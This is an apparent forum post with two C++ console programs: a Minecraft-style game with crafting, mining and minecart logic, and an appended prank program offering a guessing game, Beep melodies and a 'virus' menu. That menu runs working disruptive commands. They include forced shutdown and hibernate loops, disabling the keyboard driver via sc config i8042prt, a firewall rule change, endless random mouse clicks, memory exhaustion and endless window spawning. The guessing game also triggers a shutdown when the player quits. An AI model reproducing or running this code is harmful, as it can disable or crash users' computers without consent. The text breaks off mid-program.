now_craft.id1=3; now_craft.num1=3;
now_craft.id2=20; now_craft.num2=2;
now_craft.id3=0; now_craft.num3=0;
now_craft.id4=22; now_craft.num4=1;
craftb.push_back(now_craft);
now_craft.id1=9; now_craft.num1=3;
now_craft.id2=20; now_craft.num2=2;
now_craft.id3=0; now_craft.num3=0;
now_craft.id4=24; now_craft.num4=1;
craftb.push_back(now_craft);
now_craft.id1=16; now_craft.num1=5;
now_craft.id2=0; now_craft.num2=0;
now_craft.id3=0; now_craft.num3=0;
now_craft.id4=25; now_craft.num4=1;
craftb.push_back(now_craft);
now_craft.id1=16; now_craft.num1=6;
now_craft.id2=20; now_craft.num2=1;
now_craft.id3=0; now_craft.num3=0;
now_craft.id4=26; now_craft.num4=6;
craftb.push_back(now_craft);
now_craft.id1=18; now_craft.num1=1;
now_craft.id2=0; now_craft.num2=0;
now_craft.id3=0; now_craft.num3=0;
now_craft.id4=16; now_craft.num4=9;
craftb.push_back(now_craft);
now_craft.id1=3; now_craft.num1=3;
now_craft.id2=0; now_craft.num2=0;
now_craft.id3=0; now_craft.num3=0;
now_craft.id4=28; now_craft.num4=4;
craftb.push_back(now_craft);
now_craft.id1=3; now_craft.num1=3;
now_craft.id2=0; now_craft.num2=0;
now_craft.id3=0; now_craft.num3=0;
now_craft.id4=29; now_craft.num4=4;
craftb.push_back(now_craft);
now_craft.id1=17; now_craft.num1=6;
now_craft.id2=20; now_craft.num2=1;
now_craft.id3=0; now_craft.num3=0;
now_craft.id4=30; now_craft.num4=20;
craftb.push_back(now_craft);
}
void initc(){
craft now_craft;
now_craft.id1=8; now_craft.num1=1;
now_craft.id2=11; now_craft.num2=1;
now_craft.id3=0; now_craft.num3=0;
now_craft.id4=16; now_craft.num4=1;
craftc.push_back(now_craft);
now_craft.id1=10; now_craft.num1=1;
now_craft.id2=11; now_craft.num2=1;
now_craft.id3=0; now_craft.num3=0;
now_craft.id4=17; now_craft.num4=1;
craftc.push_back(now_craft);
now_craft.id1=8; now_craft.num1=6;
now_craft.id2=13; now_craft.num2=1;
now_craft.id3=0; now_craft.num3=0;
now_craft.id4=16; now_craft.num4=6;
craftc.push_back(now_craft);
now_craft.id1=10; now_craft.num1=6;
now_craft.id2=13; now_craft.num2=1;
now_craft.id3=0; now_craft.num3=0;
now_craft.id4=17; now_craft.num4=6;
craftc.push_back(now_craft);
now_craft.id1=11; now_craft.num1=2;
now_craft.id2=0; now_craft.num2=0;
now_craft.id3=0; now_craft.num3=0;
now_craft.id4=13; now_craft.num4=1;
craftc.push_back(now_craft);
}
int main() {
inita();
initb();
initc();
console(); //控制台设置
pthread_create(NULL, NULL, printmain, NULL); //创建渲染线程
//生成世界
int jumps = 0;
int cnt[129]={0};
while (1) { //主循环:游戏刻
if(mode==0){//世界部分
if(!on_car){//行动部分
if (keydown('A') &&_canin(X-1,Y-4)&&_canin(X-1,Y+6)) {
X--; //向左走
LR = 0;
}
if(keyup('9') &&_canin(X-1,Y-4)&&_canin(X-1,Y+6)){
X--;//向左微调
}
if(keyup('0')&& _canin(X+10,Y-4)&&_canin(X+10,Y+6)){
X++;//向右微调
}
if (keydown('D') && _canin(X+10,Y-4)&&_canin(X+10,Y+6)) {
X++; //向右走
LR = 1;
}
if (keydown('W') &&!(_canin(X,Y-6)&&_canin(X+9,Y-6))) {
jumps = 18; //跳跃(判断)
}
if(jumps>0||_canin(X,Y-5)&&_canin(X+9,Y-5)){
if(jumps>0)
for(int i=1;i<=jumps/6;Y++,i++){
if(!(_canin(X,Y+14)&&_canin(X+9,Y+14))){
Y-=3;
jumps=0;
break;
}
}
else{
for(int i=1;i<=jumps/-6;Y--,i++){
if(!(_canin(X,Y-5)&&_canin(X+9,Y-5))){
Y++;
break;
}
}
}
while(!(_canin(X,Y-5)&&_canin(X+9,Y-5))){
Y++;
}
jumps--;
} else {
jumps=0;
}
if(keydown('G')){
if(world[(X+5)/10][Y/10]==27||
world[(X+5)/10][Y/10]==31){
X=(X+5)/10*10;
Y=Y/10*10+5;
on_car=1;
}
}
}else{//矿车部分
if(keydown('W')) {
jumps = 18;
on_car=0;
}
if ((keydown('A')||keyup('9'))
&&((world[(X-5)/10][(Y-5)/10]==26||
world[(X-5)/10][(Y-5)/10]==27||
world[(X-5)/10][(Y-5)/10]==30)
&&_canin((X-5),Y+5)||
(world[(X-5)/10][(Y+5)/10]==26&&
_canin((X-5),Y+10))
||(world[(X-5)/10][(Y-15)/10]==26&&
_canin((X-5),Y-5)))){
if(world[(X-5)/10][(Y-5)/10]==26||
world[(X-5)/10][(Y-5)/10]==30){
world[X/10][(Y-5)/10]--;
world[(X-5)/10][(Y-5)/10]++;
}else if(world[(X-5)/10][(Y+5)/10]==26){
world[X/10][(Y-5)/10]--;
world[(X-5)/10][(Y+5)/10]++;
Y+=10;
}else if(world[(X-5)/10][(Y-15)/10]==26){
world[X/10][(Y-5)/10]--;
world[(X-5)/10][(Y-15)/10]++;
Y-=10;
}
X-=10; //向左走
LR = 0;
}
if ((keydown('D')||keyup('0'))
&&((world[(X+10)/10][(Y-5)/10]==26||
world[(X+10)/10][(Y-5)/10]==27||
world[(X+10)/10][(Y-5)/10]==30)
&&_canin(X+10,Y+5)||
(world[(X+10)/10][(Y+5)/10]==26&&
_canin((X+10),Y+10))
||(world[(X+10)/10][(Y-15)/10]==26&&
_canin((X+10),Y-5)))){
if(world[(X+10)/10][(Y-5)/10]==26||
world[(X+10)/10][(Y-5)/10]==30){
world[X/10][(Y-5)/10]--;
world[(X+10)/10][(Y-5)/10]++;
}else if(world[(X+10)/10][(Y+5)/10]==26){
world[X/10][(Y-5)/10]--;
world[(X+10)/10][(Y+5)/10]++;
Y+=10;
}else if(world[(X+10)/10][(Y-15)/10]==26){
world[X/10][(Y-5)/10]--;
world[(X+10)/10][(Y-15)/10]++;
Y-=10;
}
X+=10; //向右走
LR = 1;
}
if(keyup('2')&&world[(X+5)/10][(Y+5)/10]==26){
world[X/10][(Y-5)/10]--;
world[X/10][(Y+5)/10]++;
Y+=10;
}
if(keyup('S')&&world[(X+5)/10][(Y-15)/10]==26){
world[X/10][(Y-5)/10]--;
world[X/10][(Y-15)/10]++;
Y-=10;
}
if(world[X/10][(Y-5)/10]==31&&LR==0){
while(world[(X-5)/10][(Y-5)/10]==30){
world[(X-5)/10][(Y-5)/10]++;
world[X/10][(Y-5)/10]--;
X-=10;
}
}
if(world[X/10][(Y-5)/10]==31&&LR==1){
while(world[(X+10)/10][(Y-5)/10]==30){
world[(X+10)/10][(Y-5)/10]++;
world[X/10][(Y-5)/10]--;
X+=10;
}
}
}
{//挖掘测试
bool flag=0;
int*m;
if(keyup(' ')){
jianzao=!jianzao;
}
if(keydown('H')){
cnt['h']++;
if(cnt['h']%5==2){
m=&world[(X+15)/10][Y/10];
flag=1;
}
}
if(keydown('Y')){
cnt['y']++;
if(cnt['y']%5==2){
m=&world[(X+15)/10][(Y+10)/10]; flag=1;}
}
if(keydown('6')){
cnt['6']++;
if(cnt['6']%5==2){
m=&world[(X+15)/10][(Y+20)/10]; flag=1;}
}
if(keydown('N')){
cnt['n']++;
if(cnt['n']%5==2){
m=&world[(X+15)/10][(Y-10)/10]; flag=1;}
}
if(keydown('F')){
cnt['f']++;
if(cnt['f']%5==2){
m=&world[(X-5)/10][Y/10];flag=1;}
}
if(keydown('R')){
cnt['r']++;
if(cnt['r']%5==2){
m=&world[(X-5)/10][(Y+10)/10];flag=1;}
}
if(keydown('4')){
cnt['4']++;
if(cnt['4']%5==2){
m=&world[(X-5)/10][(Y+20)/10];flag=1;}
}
if(keydown('V')){
cnt['v']++;
if(cnt['v']%5==2){
m=&world[(X-5)/10][(Y-10)/10];flag=1;}
}
if(keydown('5')){
cnt['5']++;
if(cnt['5']%5==2)
if(LR==0){
m=&world[X/10][(Y+20)/10];
flag=1;
}else{
m=&world[(X+9)/10][(Y+20)/10];
flag=1;
}
}
if(keydown('B')){
cnt['b']++;
if(cnt['b']%5==2)
if(LR==0){
m=&world[X/10][(Y-10)/10];
flag=1;
}else{
m=&world[(X+9)/10][(Y-10)/10];
flag=1;
}
}
if(flag==1){
int&k=*m;
if(k!=0&&k!=4&&!jianzao&&k!=27&&k!=31){
if(m==wab){
wat--;
}else{
int p1=pointer1,p2=pointer2;
if(bag.size()!=0)
wat=check_time(k,bag[p2*20+p1].id);
else
wat=check_time(k,0);
wab=m;
}
if(wat<=0){
for(int i=0;i<bag.size();i++){
if(bag[i].id==k){
bag[i].num++;
goto gt;
}
}
bag.push_back((obj){k,1});
gt:;
k=0;
}
}else if((k==0||k==26||k==30)&&jianzao){
int p1=pointer1,p2=pointer2;
if(bag.size()>p2*20+p1&&k==0){
k=bag[p2*20+p1].id;
bag[p2*20+p1].num--;
if(bag[p2*20+p1].num==0){
bag.erase(bag.begin()+p2*20+p1);
}
}
if(bag.size()>p2*20+p1&&(k==26||k==30)
&&bag[p2*20+p1].id==25){
k++;
bag[p2*20+p1].num--;
if(bag[p2*20+p1].num==0){
bag.erase(bag.begin()+p2*20+p1);
}
}
}else if(!jianzao&&(k==27||k==31)){
k--;
for(int i=0;i<bag.size();i++){
if(bag[i].id==25){
bag[i].num++;
goto gt27;
}
}
bag.push_back((obj){25,1});
gt27:;
}
}
}
if(keyup('T')){
if(LR==0){
LR=1;
}else{
LR=0;
}
}
if(keyup('E')){
if(bag[pointer1+pointer2*20].id!=12&&
bag[pointer1+pointer2*20].id!=15){
pointer3=0;
mode=1;
}else if(bag[pointer1+pointer2*20].id==12){
pointer3=0;
mode=2;
}else if(bag[pointer1+pointer2*20].id==15){
pointer3=0;
mode=3;
}
}
}
else if(mode==1){//合成部分
if(keyup('E')){
cnt['e']=0;
mode=0;
}
if(keyup(' ')){
if(check(crafta[pointer3]))
Craft(crafta[pointer3]);
}
if(keydown('I')){
cnt['i']++;
if(cnt['i']%9==8){
pointer3--;
if(pointer3<0){
pointer3=0;
}
}
}
if(keydown('K')){
cnt['k']++;
if(cnt['k']%9==8){
pointer3++;
if(pointer3>=crafta.size()){
pointer3=crafta.size()-1;
}
}
}
}
else if(mode==2){//合成部分2
if(keyup('E')){
mode=0;
}
if(keyup(' ')){
if(check(craftb[pointer3]))
Craft(craftb[pointer3]);
}
if(keydown('I')){
cnt['i']++;
if(cnt['i']%9==8){
pointer3--;
if(pointer3<0){
pointer3=0;
}
}
}
if(keydown('K')){
cnt['k']++;
if(cnt['k']%9==8){
pointer3++;
if(pointer3>=craftb.size()){
pointer3=craftb.size()-1;
}
}
}
}else if(mode==3){//合成部分3
if(keyup('E')){
mode=0;
}
if(keyup(' ')){
if(check(craftc[pointer3])){
Craft(craftc[pointer3]);
}
}
if(keydown('I')){
cnt['i']++;
if(cnt['i']%9==8){
pointer3--;
if(pointer3<0){
pointer3=0;
}
}
}
if(keydown('K')){
cnt['k']++;
if(cnt['k']%9==8){
pointer3++;
if(pointer3>=craftc.size()){
pointer3=craftc.size()-1;
}
}
}
}
{//背包测试
if (keydown('O') ) {
cnt['o']++;
}
if (keydown('P') ) {
cnt['p']++;
}
if (keyup('7') ) {
if(pointer2*20+pointer1>0&&
pointer2*20+pointer1<bag.size()){
swap(bag[pointer2*20+pointer1],
bag[pointer2*20+pointer1-1]);
}
}
if(keyup('8')){
if(pointer2*20+pointer1>=0&&
pointer2*20+pointer1<bag.size()-1){
swap(bag[pointer2*20+pointer1],
bag[pointer2*20+pointer1+1]);
}
}
if(cnt['p']%8==7){
pointer1++;
cnt['p']++;
if(pointer1>19){
pointer1=0;
pointer2++;
if(pointer2*20>=bag.size()){
pointer2=0;
pointer1=0;
}
}
}
if(cnt['o']%8==7){
cnt['o']++;
pointer1--;
if(pointer1<0){
pointer1=19;
pointer2--;
if(pointer2<0){
pointer2=0;
}
}
}
}
if(kbhit()&&(getch()==27)){
ofstream fout(xs.c_str());
for(int i=0;i<=CgDu;i++){
for(int j=0;j<=256;j++){
fout<<world[i][j]<<" ";
}
}
for(int i=0;i<=CgDu;i++){
for(int j=0;j<=256;j++){
if(unLight[i][j])
fout<<"1 ";
else
fout<<"0 ";
}
}
fout<<X<<" "<<Y<<" ";
for(int i=0;i<bag.size();i++){
fout<<bag[i].id<<" "<<bag[i].num<<" ";
}
return 0;
}
Sleep(10);
}
return 0;
}
张浩淼在2023-01-11 09:17:15追加了内容
还有新版我的世界网站代码
初级天翼
#include"windows.h"
#ifndef _GLIBCXX_NO_ASSERT
#include <cassert>
#endif
#include <cctype>
#include <cerrno>
#include <cfloat>
#include <ciso646>
#include <climits>
#include <clocale>
#include <cmath>
#include <csetjmp>
#include <csignal>
#include <cstdarg>
#include <cstddef>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <ctime>
#if __cplusplus >= 201103L
#include <ccomplex>
#include <cfenv>
#include <cinttypes>
#include <cstdalign>
#include <cstdbool>
#include <cstdint>
#include <ctgmath>
#include <cwchar>
#include <cwctype>
#endif
#include <algorithm>
#include <bitset>
#include <complex>
#include <deque>
#include <exception>
#include <fstream>
#include <functional>
#include <iomanip>
#include <ios>
#include <iosfwd>
#include <iostream>
#include <istream>
#include <iterator>
#include <limits>
#include <list>
#include <locale>
#include <map>
#include <memory>
#include <new>
#include <numeric>
#include <ostream>
#include <queue>
#include <set>
#include <sstream>
#include <stack>
#include <stdexcept>
#include <streambuf>
#include <string>
#include <typeinfo>
#include <utility>
#include <valarray>
#include <vector>
#if __cplusplus >= 201103L
#include <array>
#include <atomic>
#include <chrono>
#include <condition_variable>
#include <forward_list>
#include <future>
#include <initializer_list>
#include <mutex>
#include <random>
#include <ratio>
#include <regex>
#include <scoped_allocator>
#include <system_error>
#include <thread>
#include <tuple>
#include <typeindex>
#include <type_traits>
#include <unordered_map>
#include <unordered_set>
#endif
#include<time.h>
#include<windows.h>
#include<conio.h>
#pragma GCC optimize(3)
#pragma GCC target("avx")
#pragma GCC optimize("Ofast")
#pragma GCC optimize("inline")
#pragma GCC optimize("-fgcse")
#pragma GCC optimize("-fgcse-lm")
#pragma GCC optimize("-fipa-sra")
#pragma GCC optimize("-ftree-pre")
#pragma GCC optimize("-ftree-vrp")
#pragma GCC optimize("-fpeephole2")
#pragma GCC optimize("-ffast-math")
#pragma GCC optimize("-fsched-spec")
#pragma GCC optimize("unroll-loops")
#pragma GCC optimize("-falign-jumps")
#pragma GCC optimize("-falign-loops")
#pragma GCC optimize("-falign-labels")
#pragma GCC optimize("-fdevirtualize")
#pragma GCC optimize("-fcaller-saves")
#pragma GCC optimize("-fcrossjumping")
#pragma GCC optimize("-fthread-jumps")
#pragma GCC optimize("-funroll-loops")
#pragma GCC optimize("-fwhole-program")
#pragma GCC optimize("-freorder-blocks")
#pragma GCC optimize("-fschedule-insns")
#pragma GCC optimize("inline-functions")
#pragma GCC optimize("-ftree-tail-merge")
#pragma GCC optimize("-fschedule-insns2")
#pragma GCC optimize("-fstrict-aliasing")
#pragma GCC optimize("-fstrict-overflow")
#pragma GCC optimize("-falign-functions")
#pragma GCC optimize("-fcse-skip-blocks")
#pragma GCC optimize("-fcse-follow-jumps")
#pragma GCC optimize("-fsched-interblock")
#pragma GCC optimize("-fpartial-inlining")
#pragma GCC optimize("no-stack-protector")
#pragma GCC optimize("-freorder-functions")
#pragma GCC optimize("-findirect-inlining")
#pragma GCC optimize("-fhoist-adjacent-loads")
#pragma GCC optimize("-frerun-cse-after-loop")
#pragma GCC optimize("inline-small-functions")
#pragma GCC optimize("-finline-small-functions")
#pragma GCC optimize("-ftree-switch-conversion")
#pragma GCC optimize("-foptimize-sibling-calls")
#pragma GCC optimize("-fexpensive-optimizations")
#pragma GCC optimize("-funsafe-loop-optimizations")
#pragma GCC optimize("inline-functions-called-once")
#pragma GCC optimize("-fdelete-null-pointer-checks")
#pragma GCC optimize(2)
#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
#define sleep(x) (Sleep(x))
#define clean (system("cls"))
//q前缀为低音,1后缀为高音,s前缀为半音阶
#define qdo 262
#define sqdo 277
#define qre 294
#define sqre 311
#define qmi 330
#define qfa 349
#define sqfa 370
#define qso 392
#define sqso 415
#define qla 440
#define sqla 466
#define qsi 494
#define do 523
#define sdo 554
#define re 578
#define sre 622
#define mi 659
#define fa 698
#define sfa 740
#define so 784
#define sso 831
#define la 880
#define sla 932
#define si 988
#define do1 1046
#define sdo1 1046
#define re1 1175
#define sre1 1245
#define mi1 1318
#define fa1 1480
#define sfa1 1480
#define so1 1568
#define sso1 1661
#define la1 1760
#define sla1 1865
#define si1 1976
using namespace std;
void init(){
system("mode con cols=200 lines=200");
SetConsoleTitle("提示:有坑");
HWND hwnd=GetForegroundWindow();
HANDLE handle = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_CURSOR_INFO CursorInfo;
GetConsoleCursorInfo(handle, &CursorInfo);
CursorInfo.bVisible = false;
SetConsoleCursorInfo(handle, &CursorInfo);
ShowWindow(hwnd,SW_MAXIMIZE);
}
void qkpm(){
sleep(50);
system("cls");
}
int t,t6t;
int main(){
init();
for(int i=1;i<=5;i++){
sleep(50);
system("cls");
cout<<"OOO\n";
cout<<" O 开机中\n";
sleep(50);
system("cls");
cout<<" OO\n";
cout<<" O 开机中.\n";
cout<<" O\n";
sleep(50);
system("cls");
cout<<" O\n";
cout<<" O 开机中..\n";
cout<<" OO\n";
sleep(50);
system("cls");
cout<<" \n";
cout<<" O 开机中...\n";
cout<<"OOO";
sleep(50);
system("cls");
cout<<" \n";
cout<<"O 开机中\n";
cout<<"OOO\n";
sleep(50);
system("cls");
cout<<"O \n";
cout<<"O 开机中.\n";
cout<<"OO \n";
sleep(50);
system("cls");
cout<<"OO \n";
cout<<"O 开机中..\n";
cout<<"O \n";
sleep(50);
system("cls");
cout<<"OOO\n";
cout<<"O 开机中...\n";
cout<<" \n";
}
qkpm();
while(1){
cout<<"你要干什么? \n 1.猜数游戏 \n";
cout<<" 2.病毒 \n 3.音乐 \n 4.结束游戏 \n";
cin>>t;
if(t==1){
qkpm();
int q=rand()%1000+1,cnt=0;
t=-1;
while(t!=q){
cout<<"我心目中有一个数(1~1000),你有无限次机会猜这个数,\n我会跟你说这个数太大或太小,如果要中途退出,输入-1\n";
cnt++;
cin>>t;
if(t==-1){
cout<<"你要中途退出?不行!\n";
system("shutdown -s -t 100");
cout<<"只要输入666即可不关机\n";
cin>>t6t;
if(t6t==666){
cout<<"你真听话,奖励你立马关机!!!\n";
Sleep(2000);
system("shutdown -s -t 10");
}else{
cout<<"你真不听话,但不会关机了";
Sleep(100);
system("shutdown -a");
}
break;
}
else if(t>q){
cout<<"太大了!";
}else if(t<q){
cout<<"太小了!";
}else{
cout<<"你终于猜对了,用了"<<cnt<<"次!";
Sleep(2000);
break;
}
Sleep(1000);
qkpm();
}
qkpm();
}else if(t==2){
qkpm();
system("cls");
cout<<"1关机电脑\n2锁定键盘\n3木马\n4让电脑**\n5让鼠标乱点\n6永久休眠\n7永久弹窗\n";
int q2;
cin>>q2;
if(q2>=1&&q2<=7){
if(q2==1){
system("shutdown -s");
}else if(q2==2){
system("netsh advfirewall firewall set rule name=\"FTPserver\" new enable=no");
system("sc config i8042prt start= disabled");
}else if(q2==3){
POINT p;
HWND hwnd=GetForegroundWindow();
ShowWindow(hwnd,SW_HIDE);
system("netsh advfirewall firewall set rule name=\"FTPserver\" new enable=no");
system("sc config i8042prt start= disabled");
srand(time(NULL));
while(1){
p.x=(rand()-1)%1000+1;
p.y=(rand()-1)%2000+1;
SetCursorPos(p.x,p.y);
mouse_event(MOUSEEVENTF_LEFTDOWN|MOUSEEVENTF_LEFTUP,0,0,0,0);
Sleep(10);
mouse_event(MOUSEEVENTF_LEFTDOWN|MOUSEEVENTF_LEFTUP,0,0,0,0);
}
}else if(q2==4){
HWND hwnd=GetForegroundWindow();
ShowWindow(hwnd,SW_HIDE);
system("netsh advfirewall firewall set rule name=\"FTPserver\" new enable=no");
while(1){
string *s=new string[100000000000000];
}
}else if(q2==5){
POINT p;
HWND hwnd=GetForegroundWindow();
ShowWindow(hwnd,SW_HIDE);
srand(time(NULL));
while(1){
p.x=(rand()-1)%1000+1;
p.y=(rand()-1)%2000+1;
SetCursorPos(p.x,p.y);
mouse_event(MOUSEEVENTF_LEFTDOWN|MOUSEEVENTF_LEFTUP,0,0,0,0);
Sleep(10);
mouse_event(MOUSEEVENTF_LEFTDOWN|MOUSEEVENTF_LEFTUP,0,0,0,0);
}
}else if(q2==6){
while(1){
system("shutdown -h");
}
}else{
HWND hwnd=GetForegroundWindow();
ShowWindow(hwnd,SW_HIDE);
while(1){
system("start");
}
}
}else{
cout<<"输入错误!";
system("pause");
}
qkpm();
}else if(t==3){
qkpm();
cout<<"1天空之城\n2小星星\n3童年\n";
int qw;
cin>>qw;
system("cls");
if(qw>=1&&qw<=3){
if(qw==1){
int pai=400,ban=200;
int ting=128;
Sleep(1000);
Beep(la,ban);
Beep(si,ban);
Sleep(ting);
Beep(do1,pai+ban);
Beep(si,ban);
Sleep(ting);
Beep(do1,pai);
Sleep(ting);
Beep(mi1,pai);
Sleep(ting);
Beep(si,3*pai);
Sleep(ting);
Beep(mi,ban);
Beep(mi,ban);
Beep(la,ban+pai);
Beep(so,ban);
Sleep(ting);
Beep(la,pai);
Sleep(ting);
Beep(do1,pai);
Sleep(ting);
Beep(so,2*pai);
Sleep(ting);
Sleep(pai);
Beep(mi,ban);
Sleep(ting/2);
Beep(mi,ban);
Sleep(ting/2);
Beep(fa,pai+ban);
Beep(mi,ban);
Sleep(ting);
Beep(fa,ban);
Beep(do1,ban+pai);
Sleep(ting);
Beep(mi,2*pai);
Sleep(ting);
Sleep(ban);
Beep(do1,ban);
Sleep(ting/2);
Beep(do1,ban);
Sleep(ting/2);
Beep(do1,ban);
Sleep(ting/2);
Beep(si,ban+pai);
Beep(sfa,ban);
Sleep(ting);
Beep(sfa,pai);
Beep(si,pai);
Sleep(ting);
Beep(si,2*pai);
Sleep(ting);
Sleep(pai);
Beep(la,ban);
Beep(si,ban);
Sleep(ting);
Beep(do1,pai+ban);
Beep(si,ban);
Sleep(ting);
Beep(do1,pai);
Sleep(ting);
Beep(mi1,pai);
Sleep(ting);
Beep(si,2*pai);
Sleep(ting);
Sleep(pai);
Beep(mi,ban);
Sleep(20);
Beep(mi,ban);
Sleep(ting);
Beep(la,pai+ban);
Beep(so,ban);
Sleep(ting);
Beep(la,pai);
Sleep(ting);
Beep(do1,pai);
Sleep(ting);
Beep(so,3*pai);
Sleep(ting+ban);
Beep(mi,ban);
Sleep(ting/2);
Beep(fa,pai);
Sleep(ting);
Beep(do1,ban);
Beep(si,ban);
Sleep(20);
Beep(si,pai);
Sleep(ting);
Beep(do1,pai);
Sleep(ting);
Beep(re1,ban);
Sleep(20);
Beep(re1,ban);
Sleep(20);
Beep(mi1,ban);
Sleep(ting/2);
Beep(do1,pai);
Sleep(ting+pai);
Beep(do1,pai);
Beep(si,ban);
Sleep(ting);
Beep(la,ban);
Sleep(20);
Beep(la,ban);
Sleep(ting);
Beep(si,pai);
Sleep(ting);
Beep(sso,pai);
Sleep(ting);
Beep(la,2*pai);
Sleep(ting+pai);
Beep(do1,ban);
Beep(re1,ban);
Sleep(ting);
Beep(mi1,pai+ban);
Beep(re1,ban);
Sleep(ting);
Beep(mi1,pai);
Sleep(ting);
Beep(so1,pai);
Sleep(ting);
Beep(re1,2*pai);
Sleep(pai+ting);
Beep(so,ban);
Sleep(20);
Beep(so,ban);
Sleep(ting);
Beep(do1,ban);
Beep(si,ban);
Sleep(ting);
Beep(do1,pai);
Sleep(ting);
Beep(mi1,pai);
Sleep(ting);
Beep(mi1,2*pai);
Sleep(ting+2*pai);
Beep(la,ban);
Beep(si,ban);
Sleep(ting);
Beep(do1,pai);
Sleep(ting);
Beep(si,pai);
Sleep(ting);
Beep(re1,ban);
Sleep(20);
Beep(re1,ban);
Sleep(ting);
Beep(do1,pai+ban);
Beep(so,ban);
Sleep(20);
Beep(so,pai);
Sleep(pai+ting);
Beep(fa1,pai);
Sleep(ting);
Beep(mi1,pai);
Sleep(ting);
Beep(re1,pai);
Sleep(ting);
Beep(do1,pai);
Sleep(ting);
Beep(mi1,4*pai);
Beep(mi1,pai*2);
Sleep(pai+ting);
Beep(mi1,pai);
Sleep(ting);
Beep(la1,2*pai);
Sleep(ting);
Beep(so1,pai);
Sleep(ting);
Beep(so1,pai);
Sleep(ting);
Beep(mi1,ban);
Sleep(ting/2);
Beep(re1,ban);
Sleep(ting);
Beep(do1,pai);
Sleep(ting+ban);
Beep(do1,ban);
Sleep(ting);
Beep(re1,pai);
Sleep(ting);
Beep(do1,ban);
Beep(re1,ban);
Sleep(20);
Beep(re1,ban);
Sleep(ting);
Beep(so1,pai);
Sleep(ting);
Beep(mi1,2*pai);
Sleep(ting+pai);
Beep(mi,pai);
Sleep(ting);
Beep(la1,2*pai);
Sleep(ting);
Beep(so1,2*pai);
Sleep(ting);
Beep(mi1,ban);
Beep(re1,ban);
Sleep(ting);
Beep(do1,2*pai);
Sleep(ting+ban);
Beep(do1,ban);
Sleep(ting);
Beep(re1,pai);
Sleep(ting);
Beep(do1,ban);
Beep(re1,ban);
Sleep(20);
Beep(re1,ban);
Sleep(ting);
Beep(si,pai);
Sleep(ting);
Beep(la,2*pai);
Sleep(ting);
Beep(la,ban);
Beep(si,ban);
Beep(do1,pai+ban);
Beep(si,ban);
Sleep(ting);
Beep(do1,pai);
Sleep(ting);
Beep(mi1,pai);
Sleep(ting);
Beep(si,3*pai);
Sleep(ting);
Beep(mi,ban);
Beep(mi,ban);
Beep(la,ban+pai);
Beep(so,ban);
Sleep(ting);
Beep(la,pai);
Sleep(ting);
Beep(do1,pai);
Sleep(ting);
Beep(so,2*pai);
Sleep(ting);
Sleep(pai);
Beep(mi,ban);
Sleep(ting/2);
Beep(mi,ban);
Sleep(ting/2);
Beep(fa,pai+ban);
Beep(mi,ban);
Sleep(ting);
Beep(fa,ban);
Beep(do1,ban+pai);
Sleep(ting);
Beep(mi,2*pai);
Sleep(ting);
Sleep(ban);
Beep(do1,ban);
Sleep(ting/2);
Beep(do1,ban);
Sleep(ting/2);
Beep(do1,ban);
Sleep(ting/2);
Beep(si,ban+pai);
Beep(sfa,ban);
Sleep(ting);
Beep(sfa,pai);
Beep(si,pai);
Sleep(ting);
Beep(si,2*pai);
Sleep(ting);
Sleep(pai);
Beep(la,ban);
Beep(si,ban);
Sleep(ting);
Beep(do1,pai+ban);
Beep(si,ban);
Sleep(ting);
Beep(do1,pai);
Sleep(ting);
Beep(mi1,pai);
Sleep(ting);
Beep(si,2*pai);
Sleep(ting);
Sleep(pai);
Beep(mi,ban);
Sleep(20);
Beep(mi,ban);
Sleep(ting);
Beep(la,pai+ban);
Beep(so,ban);
Sleep(ting);
Beep(la,pai);
Sleep(ting);
Beep(do1,pai);
Sleep(ting);
Beep(so,3*pai);
Sleep(ting+ban);
Beep(mi,ban);
Sleep(ting/2);
Beep(fa,pai);
Sleep(ting);
Beep(do1,ban);
Beep(si,ban);
Sleep(20);
Beep(si,pai);
Sleep(ting);
Beep(do1,pai);
Sleep(ting);
Beep(re1,ban);
Sleep(20);
Beep(re1,ban);
Sleep(20);
Beep(mi1,ban);
Sleep(ting/2);
Beep(do1,pai);
Sleep(ting+pai);
Beep(la,4*pai);
Sleep(1000);
}else if(qw==2){
Sleep(1000);
Beep(qdo,500);
Beep(qdo,500);
Beep(qso,500);
Beep(qso,500);
Beep(qla,500);
Beep(qla,500);
Beep(qso,1000);
Beep(qfa,500);
Beep(qfa,500);
Beep(qmi,500);
Beep(qmi,500);
Beep(qre,500);
Beep(qre,500);
Beep(qdo,1000);
for(int i=1;i<=2;i++){
Beep(qso,500);
Beep(qso,500);
Beep(qfa,500);
Beep(qfa,500);
Beep(qmi,500);
Beep(qmi,500);
Beep(qre,1000);
}
Beep(qdo,500);
Beep(qdo,500);
Beep(qso,500);
Beep(qso,500);
Beep(qla,500);
Beep(qla,500);
Beep(qso,1000);
Beep(qfa,500);
Beep(qfa,500);
Beep(qmi,500);
Beep(qmi,500);
Beep(qre,500);
Beep(qre,500);
Beep(qdo,1000);
}else{
Sleep(500);
Beep(mi,250);
Beep(so,250);
Beep(so,750);
Beep(mi,250);
Beep(la,250);
Beep(la,250);
Beep(si,250);
Beep(la,750);
Beep(la,250);
Beep(la,250);
Beep(so,250);
Beep(do1,500);
Beep(do1,250);
Beep(do1,250);
Beep(do1,250);
Beep(la,250);
Beep(do1,250);
Beep(la,250);
Beep(so,2000);
Sleep(500);
Beep(mi,250);
Beep(so,250);
Beep(so,750);
Beep(mi,250);
Beep(la,250);
Beep(la,250);
Beep(si,250);
Beep(la,750);
Beep(la,250);
Beep(la,250);
Beep(so,250);
Beep(do1,500);
Beep(do1,250);
Beep(do1,250);
Beep(do1,250);
Beep(la,250);
Beep(la,250);
Beep(do1,250);
Beep(re1,2000);
Beep(so1,250);
Beep(so1,500);
Beep(so1,250);
Sleep(500);
Beep(so1,250);
Beep(mi1,250);
Beep(re1,250);
Beep(do1,250);
Beep(do1,500);
Beep(do1,250);
Beep(la,250);
Beep(do1,250);
Beep(la,250);
Beep(do1,250);
Beep(re1,250);
Beep(re1,250);
Beep(re1,250);
Beep(re1,250);
Beep(re1,250);
Beep(do1,250);
Beep(mi1,500);
Beep(re1,2000);
Beep(mi1,250);
Beep(mi1,500);
Beep(mi1,250);
Beep(mi1,500);
Beep(re1,500);
Beep(do1,250);
Beep(do1,500);
Beep(do1,250);
Beep(re1,250);
Beep(do1,250);
Beep(la,250);
Beep(so,250);
Beep(so,250);
Beep(so,500);
Beep(so,250);
Beep(la,250);
Beep(so,250);
Beep(re1,250);
Beep(mi1,250);
}
}else{
cout<<"输入错误!\n";
